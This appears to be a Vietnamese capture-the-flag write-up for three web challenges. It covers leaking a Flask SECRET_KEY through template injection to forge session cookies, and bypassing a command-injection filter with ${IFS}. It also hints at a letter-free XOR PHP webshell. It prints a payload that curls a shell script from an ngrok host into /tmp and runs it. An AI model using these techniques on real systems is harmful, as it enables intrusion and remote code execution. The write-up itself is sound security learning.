[Web]WannaGame 17/04/2021
Web01
Tổng quan:

1 source file python

Sau 1 hồi đọc hiểu source được cho thì mình xác định đây là dạng Flask session nên sẽ tìm và sử dụng 1 tool để decode cookie
Flask-unsign: https://github.com/Paradoxis/Flask-Unsign

Chỉ cần vào endpoint /flag và edit cookie gửi đi {money: 10000000000, username: gicungduoc}
đã qua flask encoding.
Khó khăn ở đây chính là tìm ra SECRET_KEY
sau khi brute-force wordlist mặc định của Flask-unsign không có dấu hiệu khả thi lắm.
Mình có tìm 1 vài wordlist khác mà cũng không thành công. Nên mình review lại code xem mình có bỏ xót điều gì không

Lúc này mình thấy có 1 function render template khi mình nhập 1 endpoint not found.
{request.path} mình nhập vào bất kì sẽ được in ra. Đây rất có thể liên quan quan đến 1 lỗ hổng template injection
server-side.
reference: https://portswigger.net/research/server-side-template-injection

Mình test thử và thành công injection. Giờ bắt đầu leak SECRET_KEY
trong biến config ra.

Đã có SECRET_KEY, dùng flask-unsign để encode 1 cookie và dùng cookie vào endpoint /flag sẽ có flag

Web02
Tổng quan:

Hint:

Bây giờ là lúc bắt đầu học xem url --help :))) xem url command làm được gì, impact ra sao, và phải suy nghĩ cách né hết regex đã bị lọc.
Kết hợp nhiều thứ sau khi tìm hiểu mình bắt đầu có những ý tưởng đầu tiên:
Né khoảng trắng có thể dùng
${IFS}
Thực thi nhiều command bằng
;
Chạy
apache
để lưu file và sử dụngngrok
tunnels localhost ra publiccurl 1 file .sh từ localhost đến server lưu là test -> run file test.sh bằng sh command
Nội dung file .sh của mình sẽ đơn giản là test trước echo 123
nhưng thất bại.
Mình có tìm hiểu đi tìm hiểu lại, sợ ngrok hay local mình có vấn đề nhưng không phải. Cuối cùng mình hiểu ra. whoami
command sẽ cho mình biết là mình user thấp nhất, chỉ có quyền xem ở thư mục hiện hành.
Lúc này mình bắt đầu brainstorm cựk mạk :)) nghĩ xem folder ở linux mình có quyền ghi và thực thi?????
Mình có lóe trong đầu folder log :)) Nhưng không, sau 1 thời gian tìm tòi và lục lọi thử trên máy local mình thì phát hiện ra thư mục tmp
<3
Và thế mình bắt đầu curl về file sh về tmp và thực thi chạy command ls
và cat
. Cuối cùng ra FLAG.
Các bước thực thi:
Bước 1: tạo file bash shell.sh với nội dung
Bước 2: để file bash vào vào
var/www/html
trên máy localBước 3: sử dụng
ngrok
để tunnels local ra publicBước 4: Request với payload
?cmd=curl${IFS}-o${IFS}/tmp/shell.sh${IFS}<url_ngrok>/shell.sh;sh${IFS}/tmp/shell.sh
Okay đọc flagggg!!!!!
Web03
Tổng quan:
Hint: dùng kỹ thuật xor tạo ra payload để webshell không cần dùng chữ và số.
Keyword: php webshell without letters and numbers
Vậy là done! Gửi payload trên và đọc flag!
Last updated
Was this helpful?